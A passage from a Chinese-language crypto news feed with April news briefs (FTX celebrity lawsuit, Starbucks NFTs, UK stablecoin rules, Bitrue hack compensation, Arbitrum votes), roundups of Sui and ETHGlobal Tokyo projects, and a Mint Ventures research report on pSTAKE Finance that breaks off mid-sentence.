信息，这类信息可能包括预测和预报，本文并不构成对任何预测的担保。是否依赖本报告所载信息完全由读者自行决定。本报告仅供参考，不构成购买或出售任何证券、加密货币或采取任何投资策略的投资建议、提议或要约，并请您严格遵守所在国家或地区的相关法律法规。  ( 12 min )
    NBA球星斯蒂芬·库里、NFL球星汤姆·布雷迪等名人已要求法院驳回关于推广FTX的诉讼
    PANews 4月18日消息，据Cryptoslate报道，根据一份最新提交的法庭动议显示，涉及推广加密货币交易所FTX集体诉讼的名人已要求法院驳回此案，这些名人包括喜剧演员兼导演拉里·大卫（Larry David）、NFL球星汤姆·布雷迪（Tom Brady）、吉赛尔·邦辰（Gisele Bundchen）、NBA球星斯蒂芬·库里（Stephen Curry）、乌多尼斯·哈斯勒姆（Udonis Haslem）、特雷弗·劳伦斯（Trevor Lawrence）、凯文·奥利里（Kevin O’Leary）、棒球明星大谷翔平（Shohei Ohtani）、大卫·奥尔蒂斯（David Ortiz）、网球明星大坂直美（Naomi Osaka）以及NBA金州勇士队。据相关律师称，这些名人并没有提倡对收益账户 (YBA) 进行投资，而集体诉讼正在索赔此类账户的损失。 此前消息，美国德州监管机构正调查推广FTX的名人，包括NBA球星库里和NFL球星布拉迪。  ( 1 min )
    Moonbirds将推出奖励代币TALONS，NFT持有者每天可积累该代币
    PANews 4月18日消息，据官方Twitter space，NFT项目Moonbirds宣布将推出奖励代币TALONS，NFT持有者可每天累积该代币。持有者将能够使用代币竞标即将到来的独家投放中的许可名单位置、获得独家商品、IRL活动和协作体验。Beta版将面向Moonbirds持有者，并且仅在内部PROOF生态系统中使用。  ( 1 min )
    星巴克将于4月20日推出基于Polygon的NFT系列“First Store Collection”
    PANews 4月18日消息，据Decrypt报道，星巴克宣布将于北京时间4月20日推出基于Polygon的NFT系列“First Store Collection”，NFT数量为5000个，单价为100美元。该系列的一般销售将于4月20日凌晨3:00开始，此前已经拥有两张星巴克NFT邮票的用户可在4月20日00:00开始抢先体验。 据悉，该系列NFT灵感来自星巴克在西雅图Pike Place Market的第一家商店。用户购买NFT可获得1500积分，并在其Web3平台Starbucks Odyssey中兑换奖励。此外，Starbucks Odyssey还将于4月24日为Beta版用户推出一系列福利。  ( 1 min )
    英国央行拟在加密新规中限制用于支付的稳定币，年底前将就此进行咨询
    PANews 4月18日消息，据CoinDesk报道，英国央行副行长Jon Cunliffe在年度创新金融全球峰会上的演讲中表示，英格兰银行 (BoE) 将考虑是否在该行业的新规则中限制用于支付的稳定币。Cunliffe表示，英国央行和金融行为监管局计划在今年晚些时候就稳定币的新规则进行咨询。 Cunliffe称:“虽然从公共政策的角度来看，我们希望支付领域的竞争和创新，但我们需要防范快速的、破坏性的变化，这种变化不允许金融体系有时间进行调整，从而可能威胁金融稳定。新规则将寻求像监管商业银行货币一样监管稳定币，包括要求稳定币应可以法定货币、票面价值和按需赎回。但稳定币不会像商业银行存款那样获得破产保护。稳定币规则将遵循国际清算银行支付和市场基础设施委员会以及国际证券委员会组织去年制定的原则。”  ( 1 min )
    Sui没有空投？没关系，可以在10个新兴的生态项目中寻找机会
    撰写：Emperor Osmo 编译：深潮 TechFlow 尽管 Sui Network 宣布不会存在空投，但 Sui Network 依然拥有 20 亿美元估值和强大的技术基础。近日，Sui 宣布将开启 Sui Token 白名单的认购以进行代币销售，在这波叙事的推动下，建立在 Sui 之上的项目也许会得到关注。 加密 KOL Empero 挑选了 10 个正在 Sui 上构建项目，值得提早关注。 OmniBTC Omni BTC 是第一个构建全链金融协议的项目，旨在链接多个生态系统的流动性。 他们的聚合器名为 DOLA Protocol，通过 Layer Zero、Wormhole 和 $SUI 实现连接，以构建金融应用。 项目链接：https://twitter.com/OmniBTC Onchain Trade（$OT）也是一个全链协议，但它主要专注于利用单边流动性的效率，以其稳定币$OSD 为主要支撑。 由于所有流动性均为单边，因此$OSD 受到流动性池中所有资产的支持。 简而言之，$OT 正在打造一个强大的全链 DeFi 平台，采用独特模式旨在为用户提供卓越体验。 项目链接：https://twitter.com/OnchainTrade Araya Finance 目前正在开发世界上第一个基于 $SUI 的流动性质押衍生品、稳定币和游戏代币衍生品协议。 他们已确认，社区将直接获得超过 50%的治理代币。 项目链接：https://twitter.com/ArayaFinance MovEX 目前正在开发集中流动性自动做市商(AMM) 和智能流动性管理服务，这将使用户能够更有效地管理其流动性头寸。 该项目还将建立 ILO，允许生态下的 Bulider 筹集资金。 项目链接：https://twitter.com/joinMovEX Turbos 正在构建第一个在 SUI 上实现零滑点的去中心化永续 DEX。该项目利用 Sui 网络提供的高性能，能够提高交易效率并降低交易费用。此外，Turbos Finance 获得了众多知名投资者的支持，包括 Jump 和 Mysten Labs。 项目链接：https://twitter.com/Turbos_finance Cetus 正在开发一种使用 $APT 和 $SUI 的 DEX 和集中流动性协议，相较传统 AMM 能够提高 10 倍的资本效率。 该项目具有高度可组合性，确保与其他生态系统实现无缝集成。 项目链接：https://twitter.com/CetusProtocol KriyaDEX 是一个快速衍生品交易平台，通过 Move 来创建防抢先交易的订单簿。使用 KriyaDEX，您将体验到以下特征： 项目链接：https://twitter.com/KriyaDEX Umi Protocol 正在为 $SUI 和 $APTOS 网络构建最广泛的 DEX 聚合器。通过 Umi Protocol，能够让交易者轻松访问最有效率的交易路线。 项目链接：https://twitter.com/umi_protocol SuiPad 是首个基于 Sui 开发的 IDO 和 INO 平台。他们最近与 Mysten Labs 合作，帮助启动基于 SUI 的重大项目。 他们的未来路线图包括质押、流动性池和 NFT 发行平台。 项目链接：https://twitter.com/SuiPadxyz SuiDex 目前正在为 Sui 构建 DeFi 中心，其中将包含一系列产品，例如： 项目链接：https://twitter.com/Suidex_io  ( 3 min )
    Michael Saylor已在其公司电子邮件中集成比特币闪电网络地址
    PANews 4月18日消息，据CoinDesk报道，MicroStrategy创始人Michael Saylor在推特上透露，其已将比特币闪电网络整合到他的公司电子邮件地址中。这意味着任何人都可以通过saylor@microstrategy.com向他发送比特币。此次集成使用Lightning Address协议，该协议允许开发人员将标准的Lightning支付请求替换为电子邮件地址等互联网标识符。  ( 1 min )
    币安将分批淘汰旧基础设施上的存款地址，建议用户查看是否收到新地址的邮件
    PANews 4月18日消息，据币安支持中心今日发布的更新，币安宣布将分批淘汰仍在旧基础设施上的存款地址和备忘录。币安称这是因为其不断升级钱包基础设施，以为用户提供更好的效率和资金安全。 币安表示，如果用户的存款地址和流水受到影响，该用户将会收到一封电子邮件。因此强烈建议用户在收到电子邮件后检索新的存款地址。用户在获得新的存款地址后或收到电子邮件通知30天后，旧存款地址将失效。 需要注意的是，存入过期地址的资金是安全的，不会丢失。但是，以后存入过期地址的存款将不会自动记入账户。用户可以使用交易历史页面上的“一键到达（One click arrival）”按钮手动将资金存入其Spot钱包。如果看不到这个选项，请通过存款状态查询页面提交申请。  ( 1 min )
    一文速览11个进入ETHGlobal Tokyo黑客松决赛项目
    原文：《盘点11家ETHGlobal Tokyo黑客松决赛项目》 作者：Azuma 4 月 16 日，于日本东京举办的 ETHGlobal Tokyo 主题黑客松正式落幕。 本届黑客松最终筛选出了 11 家决赛入围项目，涉及了钱包、NFT、DeFi、社交、支付、安全等多个领域。这些项目将共同分享由ETHGlobal 联合 1inch、Taiko、Mina、Polygon、Lens等 36 家项目提供的 375000 美元奖金。接下来，Odaily 星球日报就带大家一起来了解下这 11 家入围项目。 ZKVoiceKey 获奖主页：https://ethglobal.com/showcase/zkvoicekey-zeufj ZKVoiceKey 提供了一种通过语音来恢复钱包私钥的新方法。 传统情况下，私钥的恢复受到社会恢复和设备依赖性的限制，而 ZKVoiceKey 的方案则是允许用户提前在区块链上注册自己的语音，继而在私钥丢失的情况下通过独特的生物特征信息来进行恢复。 ZKVoiceKey 还采用了 Fuzzy Commit 和 ZKP，从而避免了将语音信息直接存储在区块链上，而是可以通过语音的模糊匹配来进行身份验证。 获奖主页：https://ethglobal.com/showcase/bailout-ia 6 s 1  BAILOUT 可以理解为一个支持多类型钱包的安全通道，允许用户安全地在 EOA、合约钱包和冷钱包之间移动资产。 随着账户抽象概念的发展，市面上已出现了越来越多的合约钱包，比如 Argent、Safe 等等。然而，诸如 Uniswap 等 Dapps 暂时仍不支持这些与合约钱包直接连接，所以许多个人投资者通常会使用常规 EOA 钱包来主要进行各种交互，再把大部分资产存放在冷钱包或合约钱包之中。 通过 BAILOUT，用户可以轻松地将一定数量的资产从 EOA 钱包转移至合约钱包，且能够通过 EOA 钱包来签署交易，紧急情况下甚至支持 Google Signin 签署交易。 BAILOUT 还支持社会恢复功能。如果用户意外丢失了 EOA 私钥或设备，其将允许用户一键将所有资产转移到冷钱包，且无需支付任何钱包的 gas 费。这使得日常资产管理更加顺畅和安全，并最大限度地减少私钥丢失造成的损失。 获奖主页：https://ethglobal.com/showcase/aokiapp-nft-1 t 8 k 7  AokiApp NFT 是一个完全链上（full-onchain）的 NFT collection，其引入了全新的 NFT 的图像压缩技术，实现了图像在 EVM 上的解压和操作。 当前，大部分 NFT 项目依赖于外部服务器（情况好一些的会用 IPFS）来存储图片文件，如果用于存储文件的服务器本身出现问题，NFT 本身的不变性、可用性也会受到影响。虽然诸如 Cryptopunks 之类的项目尝试了将未压缩的文件直接存储在区块链上，但这往往需要大量的 gas 消耗。 AokiApp NFT 的独创之处在于，其开发了一种基于“主成分分析” (PCA) 的图片压缩方法，并应用其线性代数知识创建了这个完全链上的 NFT collection，所有的文件内容会在压缩之后完全保存于链上。该方案具有以下主要特点：简捷，可通过能够在 EVM 上执行的简短代码实现；与当前主流的 pfp 类 NFT 模式高度兼容；发行的 NFT 越多，整个 collection 的压缩率就越高。 获奖主页：https://ethglobal.com/showcase/octoplorer-block-query-made-easy-pdgmt Octoplorer 是一款由 AI 驱动的区块链资源管理器，其主要功能在于降低用户查询区块链数据的技术门槛。通过 Octoplorer，用户可以输入自然语言来查询区块链上的各类数据，以表格、图像和图形等格式获取人类可读的答案。 在自然语言的查询功能方面，Octoplorer 使用了 OpenAI ChatGPT 3.5 的 “text-davinci-003 ” 模型，该模型由 langchain 库增强，进一步提高了智能效果。 目前，Octoplorer 的服务适用于以太坊和 Polygon。 获奖主页：https://ethglobal.com/showcase/myna-uxzdd Myna 是一个服务于日本用户的钱包解决方案，其允许日本用户使用政府所颁发的身份证件（My Number Card）作为硬件钱包，从而实现一种简单、安全的加密货币托管方案。 Myna 可以为每个 My Number Card 生成符合 EIP-4337 的合约钱包，且会为用户抽象掉其中的钱包创建过程，并支持诸如社交恢复等功能。这将使日本居民能够在任何紧急情况下安全地转移钱包的所有权。 获奖主页：https://ethglobal.com/showcase/probablynothing-works-qgrrf Probablynothing.works 是一个允许 Web3 社区从广告中获得收入的协议。广告创收本是传统网络社区创收的一个重要途径，但截至目前，出于各种原因，Web3 世界的广告业务迟迟未能取得有效发展。 Probablynothing.works 的愿景是打通 Web3 世界广告服务的桥梁，该协议所设计的体系涉及了四类角色，包括广告信息发布者、传播信息的广告商、接收信息的网站访问者，以及为发布者和广告商之间提供基础设施的协议运营商。Probablynothing.works 希望利用 NFT 来对接发布者和广告商之间的供需，一方提供信息传播服务并收费，另一方则可根据希望将自己广告传播至哪些社区来选择传播渠道并付费。 获奖主页：https://ethglobal.com/showcase/abswapx-jmefw AbswapX 可以理解为一个为 DeFi 启用限价订单和预定策略的自动化模块。具体来说，AbswapX 可以为任何合约钱包或 EOA 钱包创建了一个自动化模块，以便能够创建从任何源链上的任何代币到 EVM 中任何目标链上的另一个代币的限价单。 AbswapX 的实现路径为： 1. 当用户创建限价订单时，他们会指定具体代币对、价格关系、交易数量； 2. 之后，限价订单添会被加到 AbswapX 订单簿中。AbswapX 会利用 Gelato Network 来根据用户的指定要求创建具有调用数据的代理任务。 3. 当价格关于触达用户的指定时，Gelato Network 自动执行交易，然后以指定价格将用户的代币换成所需的代币。 AbswapX 现部署在 Gnosis Chain 和 Polygon Chain 上，测试网方面，则已部署至 Goerli、Mumbai、Polygon zkEVM、Linea、ScrollzK、Taiko 和 Mantle 上。   Tanuki 获奖主页：https://ethglobal.com/showcase/tanuki-s 8 ew 9  Tanuki 是一个无需信任的钱包活动评分协议，其使用 ZKP 来无信任地读取链上的历史活动，以计算钱包的分数。 出于各种需求（比如空投根据），许多协议现在都会需要对曾交互过的钱包进行评分，但当前评分方法大多是在链外进行的，因此存在中心化、不够透明、需要额外信任等问题。为解决这一问题，Tanuki 选择了利用 ZK 协处理器 Axiom，以无信任的方式读取和汇总链上历史数据，这使得每个协议能够公平、透明地计算相关指标，促进无信任的互动。 Tanuki 提供有基础设施相关代码，可以无缝集成到各种协议中。 获奖主页：https://ethglobal.com/showcase/yoru-4 si 1 p YORU 是一个兼备隐私保护功能的社交支付工具，在该项目看来，当前加密货币的社交支付存在着两大主要挑战。一是任何人都可以跟踪交易历史。链上交易是透明的，任何人都可以从同一地址跟踪钱包的余额；二是 Web3 上的用户体验很糟糕，地址复杂难记，且每笔交易都需要 gas 费用（尤其是从新地址提取某种资产时需要事先准备 ETH）。为解决这两大难题，YORU 利用账户抽象和隐形地址来进行代币转移。 隐私传输方面，通过 YORU 所进的交易会将代币发送到一个一次性的隐形地址，该地址由接收者拥有，只有发送者和接收者知道。 用户体验方面，YORU 支持通过 DID 和 ENS 进行公钥注册，用户可以将他的钱包账户与他的社交媒体账户绑定，如 Gmail、Twitter、Line 等。此外，YORU 还利用了账户抽象中的 Paymaster 来赞助交易，从而避免了接收者需要事先在一次性隐形地址中存入 ETH（用作提取接受资产的 gas ）的问题。 获奖主页：https://ethglobal.com/showcase/superplay-5 zr 28  SuperPlay 是一个用户友好的游戏平台，其运转流程及特点如下： 用户在访问游戏项目网站并注册之后，SuperPlay 会自动创建一个与其电子邮件地址相关的合约钱包；在该钱包内，用户拥有少量游戏项目的 ERC 20 代币，以此获得一定时间内（如一周内）的游戏体验资格；在该时间内，用户无需使用钱包里的任何资产，游戏项目方会垫付相关 gas；试用结束后，用户可以选择取消或订阅游戏；继续订阅时，用户可以选择使用信用卡来支付游戏订阅的费用，该费用将按周自动从其合约钱包中扣除。 通过提供无需购买资产（用于订阅游戏的 ERC 20 代币）以及支付 Gas 费的 Web3 游戏试玩体验，SuperPlay 大幅降低了 Web3 的入场门槛。 获奖主页：https://ethglobal.com/showcase/pompoarding-yis 1 w POMPoarding 提供了一种简易的 Web3 社区协同工具。 POMPoarding 允许社区成员通过简单的问答组合起来，无需事先了解加密货币或钱包；在社区管理方面，POMPoarding 提供了一个仪表盘，允许社区领导者便捷地管理成员；POMPoarding 还利用了 Push Protocol 和 The Graph 来管理社区之间的消息传递；在后端，POMPoarding 则利用 SAFE 创建了一个多签钱包，用于治理、财务管理等方面的工作。  ( 4 min )
    Gala Games将于5月15日推出v2版本，并将以1:1进行新代币置换
    PANews 4月18日消息，据官方博客，区块链游戏平台Gala Games将于5月15日推出v2升级，新增功能包括增强的销毁机制、安全性增强和未来的可升级性。用户必须在5月15日快照之前从任何流动性池或智能合约中移除GALA，官方已安排所有在以太坊上持有 GALA（v1）的用户直接1:1自动接收新的GALA（v2）代币，此后 GALA（v1）将不再受支持。  ( 1 min )
    贝宝金融集团破产保护在新加坡高院进行聆讯，正式开启庭内重组程序
    PANews 4月18日消息，前贝宝金融（Babel Finance）创始人Flex Yang（杨舟）发布公开信表示，贝宝金融集团破产保护在新加坡高院进行了聆讯，正式开启了庭内重组程序，Yang称：“这是自2021年退出贝宝、2022年中贝宝危机后，我决定回归主持重组工作以来，阶段性的工作结果。” 此前3月份消息，Yang Zhou计划向新加坡高等法院申请暂停保护，要求债权人在至多6个月内不要对该公司采取进一步行动，因为该公司正与债权人沟通、寻求批准一项重组计划。  ( 1 min )
    Bitrue：将补偿受攻击事件影响的用户，已恢复大部分代币的正常操作
    PANews 4月18日消息，据官方推特，加密交易所Bitrue发布安全事件更新，称：“北京时间4月14日15:18，我们在我们的一个热钱包中发现了一个简短的漏洞。为了确保用户的安全，我们进行了一系列的安全检查。虽然大多数用户没有受到影响，但某些用户可能在提款时遇到了短暂的中断。所有受到事件影响的用户也将得到全额补偿。我们已经部分完成了安全检查，因此能够恢复除QNT、MATIC和HOT之外的所有代币的正常操作。我们将继续努力尽快完成安全检查。” 此前4月14日消息，Bitrue热钱包遭受攻击，损失约2440万美元。  ( 1 min )
    Arbitrum关于扩大ARB持有者监督和治理权的AIP-1.1和1.2提案均获得投票通过
    PANews 4月18日消息，Snapshot投票页面显示，Arbitrum社区关于扩大ARB代币持有者监督和治理权力的两项提案（AIP-1.1和AIP-1.2）均以近99%的支持率获得通过。 提案AIP-1.1建议将基金会剩余的7亿ARB置于“智能合约控制的锁定”中，四年内解锁。根据提案，在社区成员批准代币分配预算之前，基金会将无法使用代币。此外，Arbitrum 基金会还发布了一份关于该组织如何成立的透明度报告。 提案AIP-1.2旨在修改Arbitrum生态系统的几个治理文件，包括将在链上发布改进提案所需的ARB代币数量的门槛从500万降低到100万。目前该两项提案的支持率均在98%以上。 相关阅读：Arbitrum基金会透明度遭诟病，欲通过AIP-1“窃取”10亿美元？  ( 1 min )
    Ray Youssef在卸任Paxful CEO前解冻88%的冻结账户，Paxful或将继续运营
    PANews 4月18日消息，比特币P2P市场Paxful首席执行官Ray Youssef发推文称，88%的冻结账户已解冻。这是我作为CEO的最后行动。Youssef称这是在没有工程师或合规人员的情况下完成的，并敦促用户立即登录并领取资金。 Youssef解释道：“如果您的账户仍然被冻结，那么很抱歉，我无权解冻这些资金，它们掌握在美国监管机构手中。我无法访问，也从未访问过客户资金。为了解冻这些账户，我放弃了CEO的头衔，同时也面临藐视法庭的危险。今天，我们又在88%的账户中释放了100万美元。客户总资金的3%仍被冻结。冻结资金的剩余金额现在由一个托管人保管。” 随后，Paxful官方推特发了一则公告，称Ray去了Paxful首席执行官的职务，“我们感谢Ray过去的领导，并确保Paxful继续支持那些被排除在世界金融体系之外的人”，意味着Paxful或将在没有Ray Youssef的领导下继续运营。 相关阅读：两位联创对薄公堂，Paxful关闭背后是“权利的游戏”  ( 1 min )
    详解pSTAKE：币安支持的LSD的腰部项目
    机构：Mint Ventures 作者：Colin Li 1.1 核心投资逻辑 在ETH流动性质押之外，BNB与ATOM质押市场开始获得投资者的注意力。在这些项目之中，pSTAKE Finance在拥抱BNBchain之后的发展值得被重视。如果pSTAKE Finance其他公链战略，如ATOM的流动性质押服务也可以像其BNB流动性质押服务一样，实现业务和生态拓展的双线扩张，那么pSTAKE Finance值得纳入投资者审慎的考察范围内。 1.2 估值 从静态估值来看，pSTAKE Finance偏贵，这可能与PSTAKE筹码分布过于集中有关系：目前PSTAKE75%以上的筹码集中在几个地址中，流通市值较小。 1.3. 主要风险 公链发展风险：现在pSTAKE Finance押注ATOM和BNB的流动性质押业务，未来最大的beta来自于公链发展。当前，BNBchain和COSMOS的质押率偏高，未来来自staking ratio提高这一部分的增长空间有限。未来需要拓展其他有潜力的、质押率不高的公链，这非常考验创始团队的战略判断。 合约风险：2022年12月2日，Ankr发生合约风险问题就影响到了BNB质押赛道，直到现在还没有完全恢复到事件之前的水平。如果类似的事件再次发生，且pSTAKE Finance在这样的公链上有提供流动性质押服务，那么pSTAKE Finance也很可能会遭受到冲击。 行业内的价格战：随着PoS公链的质押率在未来的持续提升，行业内为争夺不多的市场空间可能会爆发价格战：降低staking和unstake费用，这无疑会让整个流动性质押赛道的价值降低。 2. 项目基本情况 2.1 项目业务范围 pSTAKE Finance是一个流动质押协议，现阶段聚焦于以太坊、BNBchain、Cosmos生态的流动性质押服务。未来预计会扩展更多公链的流动性质押业务，以及拓展自身LSD在其他DeFi中的应用场景。 2.2 过往发展情况和路线图 pSTAKE Finance由Persistence团队开发，自2020年开始立项之后，经历了如下两个阶段： 第一阶段： 第二阶段： 2.3 业务情况 2.3.1 服务对象 pSTAKE Finance的主要服务对象是持有POS公链代币的用户。为了提供完整的质押服务，同时实现验证环节的安全性，pSTAKE Finance通过一个验证人评分系统寻找满足要求的验证者，将用户的公链代币交由给验证者进行质押。 2.3.2 业务分类 来源：https://app.pstake.finance/ 当前pSTAKE Finance支持ATOM、BNB、ETH三种资产的质押服务，其中stkATOM和stkXPRT正在进行迁移，未来ATOM和XPRT的流动性质押服务将在pSTAKE Finance开发的Persistence Core-1 Chain公链上进行。 2.3.3 业务详述与多链部署 流动性质押业务模型可以简化为下图： 来源：Mint Ventures POS链之间的机制有所不同，但大体的业务逻辑如上。在ATOM、ETH和BNB的质押中，比较特殊的是BNB。与BNB相关的一共有两条链：BNB Beacon Chain，负责BNB的治理、质押；BNB Smart Chain，EVM兼容，支持各类型Dapp的运行。除此之外，BNB的验证者（validator）指定了42家。 与其他LSD项目一样，pSTAKE Finance在提供服务的时候会收取一定的费用：以ATOM为例，用户在质押期间获得的质押奖励，有5%会作为费用支付给pSTAKE Finance；在用户解质押时，如果想很快获得自己质押的token，也会有一个总金额0.5%的“立即赎回”（Redeem Instantly）费用。 来源：pSTAKE Finance，Mint Ventures 除了提供质押服务以外，pSTAKE Finance还为用户提供自身质押凭证的应用场景：以pSTAKE Finance的BNB质押凭证stkBNB为例，虽然BNB staking业务上线时间较晚，但由于2022年下半年获得了币安的投资，生态合作方接入的速度非常快。用户的stkBNB可以应用到很多BNBchain生态里主流的DeFi，比如stkBNB可以存入Beefy Finance中赚取额外的收益，也可以用作保证金在OpenLeverage中进行交易，还可以存入Midas Captal中赚取借贷收益等。 来源：pSTAKE Finance，Mint Ventures 相比之下，stkATOM和stkETH的应用场景合作则推进较为缓慢。 2.4 业务数据 总体TVL 来源：https://defillama.com/protocol/pstake-finance 当前pSTAKE Finance的TVL总计约741万美元，其中约60%为BNB，40%为ATOM，ETH staking几乎可以忽略不计。 价格锚定与流动性 下面两幅图是stkATOM的情况。虽然合作的DEX总体流动性不佳且开始合作时间较短，但stkATOM总体上没有出现较大偏移，交易对中stkATOM和ATOM的比例均衡。 来源：https://info.osmosis.zone/pool/886 来源：https://app.crescent.network/farm?open_modal_pool_id=57 总的来看，两个池子的流动性基本可以实现用户小规模无滑点兑换的需求。 stkBNB-BNB的交易对上线之后，主要的脱锚时间发生在2022年12月2日，但这并非由于pSTAKE Finance自身出现重大问题，而是受到了Ankr攻击事件的牵连：当天由于Ankr遭到攻击导致其aBNBc超额铸造，引发了市场对于BNB LSD资产的担忧，不过stkBNB在脱锚后1小时回锚，没有受到持续影响。 来源：https://dexscreener.com/BNBchain/0x2b3510f57365aa17bff8e6360ea67c136175dc6d 来源：https://info.wombat.exchange/#/assets/0x0e202a0bcad2712d1fdeeb94ec98c58beed0679f Thena和Wombat中的stkBNB-BNB池子规模也可实现用户小规模无滑点的兑换需求。 由于ETH质押业务已经大幅缩水，当前的Uniswap V3项目中stkETH-ETH交易对仅有略高于5万美元的TVL，交易一个stkETH所导致的价格损失已经达到7.25%。 2.4.1 整体情况 根据LinkedIn数据，pSTAKE Finance背后开发运营团队Persistence的员工一共有45位，主要由工程师、市场营销、BD、媒体和社区运营人员构成。 来源：(2) Persistence Labs: People | LinkedIn 2.4.2 创始人 来源：Tushar Aggarwal | LinkedIn Tushar Aggarwal是Persistence的联合创始人兼CEO，毕业于新加坡南洋理工大学。在创立Persistence之前，他在Decrypt Asia、Antler、LuneX Ventures等多家crypto基金有过从业经历，也在Outlier Ventures担任过合伙人。2019年，Tushar创立Persistence，希望能推动Cosmos生态流动性质押业务的发展。随后，在2020年，带领Persistence团队开发pSTAKE Finance项目。   Deepanshu Tripathi是Persistence的联合创始人兼CTO，毕业于韦洛尔理工学院。在创立Persistence之前，他在Mahindra Comviva担任工程师一职，随后成为Comdex的首席软件架构师。2019年，Tushar创立Persistence并担任CTO一职。2022年，他又创立了一站式NFT服务平台AssetMantle。 2.4.3 核心成员 主要业务线的成员在相关领域都有丰富和深厚的背景。 2.5 融资情况 pSTAKE Finance一共经历了两轮独立融资。 3. 业务分析 3.1 行业空间及潜力 3.1.1 分类与市场规模 在TVL高于2亿美元的公链中，除了部分未上线质押业务的公链以外，平均的质押率为46.9%。其中，以太坊、Tron、Polygon等公链的质押率低于该水平。随着以太坊二层网络（Layer 2）逐步上线，未来还将有更多的链提供其代币质押服务。市场中的部分投资者对于公链质押比率更加乐观，Layer 2的质押率也会达到相应的比例。 对于流动性质押赛道而言，假设市值不变的前提下，单条公链的质押规模只与质押率（staking ratio）有关系，赛道整体的营收规模还与PoS收益率、服务费用抽成比例有关系。下图中公链的平均质押收益率为8.6%左右。 来源：DeFi Llama，StakingRewards，Mint Ventures，数据截至2023年4月11日 当前市场中流动性质押项目一般抽取5%-15%的收益作为服务费用，按照8.6%的PoS收益率，流动性质押项目获得的总收益率在0.43%-1.29%之间。由此，我们可以大概估算出流动性质押利润与公链市值之间的粗略关系。当然，我们也可以调整PoS收益率进行估算。 来源：Mint Ventures，数据截至2023年4月11日 通过假设不同的估值参数——市销率（PS ratio）比例，我们也可以得到如下图的数据。 来源：Mint Ventures，数据截至2023年4月11日 因此，如果只是从流动性质押基这一个基础维度出发，想要让流动性质押赛道的整体估值提升，需要寻找到未来质押率、PoS收益率、市值都会大幅增长的公链。 由于流动性质押项目给用户提供的都是极为相似的服务，在费率没有明显区别的条件下，用户的更加偏向于优先占领市场、拥有长期的安全运行纪录、LSD流动性好且没有明显折价的项目。以以太坊流动性质押赛道为例，目前市场TOP 3市场率达到了94.8%，其中Lido一家的市场占有率达到了73.4%。Lido项目相比其他一些流动性质押项目成立时间更早。 来源：https://dune.com/LidoAnalytical/Lido-Finance-Extended 超高的市占率也与stETH的表现有关系。除了过去两年市场出现大跌的情况下，stETH几乎没有出现过显著脱锚的情况。而且其交易流动性也极佳。在Curve上的stETH-ETH pool，单次交易10万枚stETH，对于价格的影响只有0.78%，而排名第二的cbETH，单次交易要达到类似的价值损耗，只需要623枚左右的交易量。可见，对于ETH持币较多的大型投资者来说，选择Lido是更优的选择。当然，Lido提供的补贴激励也是导致其超高市占率的重要因素之一。 来源：https://curve.fi/#/ethereum/pools/steth/swap 3.2.1 代币总量和分配情况 代币PSTAKE总计5亿枚，于2022年2月上线流通。其中： 来源：https://blog.pstake.finance/2021/12/13/pstake-tokenomics/ 根据上述代币释放规则，代币PSTAKE已经有约55.2%可以流通，至2025年全部释放完毕。未来两年年均通胀率约为35%，通胀速度较高。 3.2.2 代币价值捕获 PSTAKE代币现阶段只拥有治理功能，无法分享项目的营收。PSTAKE的持有者可以参与社区的治理投票，也可以质押PSTAKE维护项目的安全。 3.2.3 代币核心需求方 现阶段质押治理功能的代币之所以被投资者认可，可能有两方面的因素： 与UNI类似，代币的价值捕获功有可能通过后续发起提案的方式来实现。但是，UNI也不一定非要在近期获得价值捕获或利润分享的属性。在股票市场中，高成长性的公司发行的股票，未必必须在一定时间内分红，比如亚马逊的股票长时间并未分红，但并不影响亚马逊的股价长期上涨，因为公司仍然处于长期高速增长、需要大量投入的阶段。所以PSTAKE短期内可以不拥有现金流分红属性，但需要进一步扩张业务，不论是类似于Uniswap的多链部署战略，还是类似于Frax Finance的多业务线协同发展的模式，只要pSTAKE Finance项目能通过扩张获得增长，现阶段没有价值捕获能力可能不是潜在投资者关注的核心。 3.2.4 通证模型总结 从代币经济模型来看，PSTAKE存在改进的空间。比如，针对中短期的通胀速度过高的问题，可采用Ve model可以减缓中短期的通胀压力，而且还可以提升治理的效率，留住长期投资者。需要注意的是，ve model是一种可能的解决方案，最终代币的诉求仍然取决于项目本身质地。如果没有参与治理的明显好处，ve model也救不了币价。 针对价值捕获的问题，在项目快速增长阶段的中后期，pSTAKE Finance可以将一部分的费用用于回购等，现阶段赚取的收入也不一定全部要趴在国库内，可以用一部分钱去做生态推广，甚至是去购买可以有协同效应的其他项目的代币。 3.3 项目竞争格局 3.3.1 基本市场格局 & 竞争对手 从pSTAKE Finance的业务布局和外部合作来看，未来决定其发展的重要方向是BNB与ATOM流动性质押服务。关于这两种token的流动性质押，特别是BNB的流动性质押的竞争格局就非常关键。代币流动性、生态合作的维度是我们关注的重点。 在BNBchain生态中，目前有Ankr、Stader、SteakBank Finance、Stafi、pSTAKE Finance共计5家提供流动性质押服务。从费率的角度看，pSTAKE Finance收费居中。 来源：各项目网站，Mint Ventures，数据截至2023年4月11日 在生态合作方面，pSTAKE Finance目前拥有最多元的应用场景，基本可以满足PSTAKE持有者在BNBchain链的大部分金融需求。 来源：各项目网站，Mint Ventures，数据截至2023年4月11日 在流动性方面，pSTAKE Finance能满足大户较小滑点的交易需求。   目前pSTAKE Finance的BNB质押数量落后于Ankr和Stader（在BNB Chain上的流动性质押赛道内排名第三）。 来源：各项目网站，Mint Ventures，数据截至2023年4月11日 Cosmos的流动性质押质押市场目前主要有Stride和pSTAKE Finance。我们仍然从上述几个维度去观察。相比之下，pSTAKE Finance的费率偏低，其存托凭证的深度目前可以满足中小流动性的进出需求，未来随着ATOM流动性质押需求的增长，至少在与Stride的竞争中，pSTAKE Finance有机会逐步提升市场占有率。 来源：各项目网站，DeFi Llama，Mint Ventures，数据截至2023年4月11日 3.3.2 项目竞争优势 从上面的比较我们可以发现：pSTAKE Finance的核心竞争力，在币安投资之后凸显出来： 这两个要点也是ATOM等其他流动性质押业务发展的方向。 3.4 项目风险 结合流动性质押赛道本身的问题，pSTAKE Finance项目主要面临以下3类风险： 来源：https://dune.com/David_C/liquid-staking-on-bnbchain 来源：https://dune.com/David_C/liquid-staking-on-bnbchain 行业内的价格战：随着PoS公链的壮大，以及质押率在未来的持续提升，行业内为争夺不多的市场空间可能会爆发价格战：降低staking和unstake过程中的费用。如果上述推演出现，这无疑会导致流动性质押赛道的整体利润空间大幅缩水，从而让赛道项目内部的价值降低。这在传统金融市场中出现过不止一次：中国A股的股票交易佣金降至万分之五的水平，中国银行业的托管业务甚至可以随其他企业业务免费赠送。 4. 初步价值评估 4.1 核心问题 对于pSTAKE 